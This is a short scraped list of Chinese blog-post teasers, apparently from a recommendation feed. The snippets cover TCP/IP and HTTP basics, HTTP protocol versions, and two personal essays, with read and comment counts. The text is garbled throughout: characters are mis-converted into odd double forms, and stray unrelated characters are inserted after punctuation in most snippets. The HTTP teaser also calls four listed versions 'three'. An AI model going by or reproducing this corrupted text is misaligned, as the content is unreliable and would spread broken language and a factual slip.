  • 1. 網(wǎng)絡(luò)基礎(chǔ)TCP/IP HTTP基于TCP/IP協(xié)議族,HTTP屬于它內(nèi)部的一個(gè)子集渺氧。 把互聯(lián)網(wǎng)相關(guān)聯(lián)的協(xié)議集...
    yozosann閱讀 3,445評(píng)論 0 20
  • http協(xié)議有http0.9旨涝,http1.0,http1.1和http2三個(gè)版本侣背,但是現(xiàn)在瀏覽器使用的是htt...
    一現(xiàn)_閱讀 1,866評(píng)論 0 3
  • “文字是靈魂的聲音”白华,不知道為什么我這幾句話突然從我的腦海里冒出來了,有一種被驚醒的感覺秃踩。我又深入感覺了一下衬鱼,...
    曾芷墨閱讀 203評(píng)論 0 1
  • 關(guān)于【喜歡】的小事,【喜歡】的話點(diǎn)開鏈接看看吧憔杨。 “喜歡一個(gè)人是怎么樣的 喜歡一個(gè)人的時(shí)候你干過什么事情 喜歡一個(gè)...
    L少俠閱讀 110評(píng)論 0 0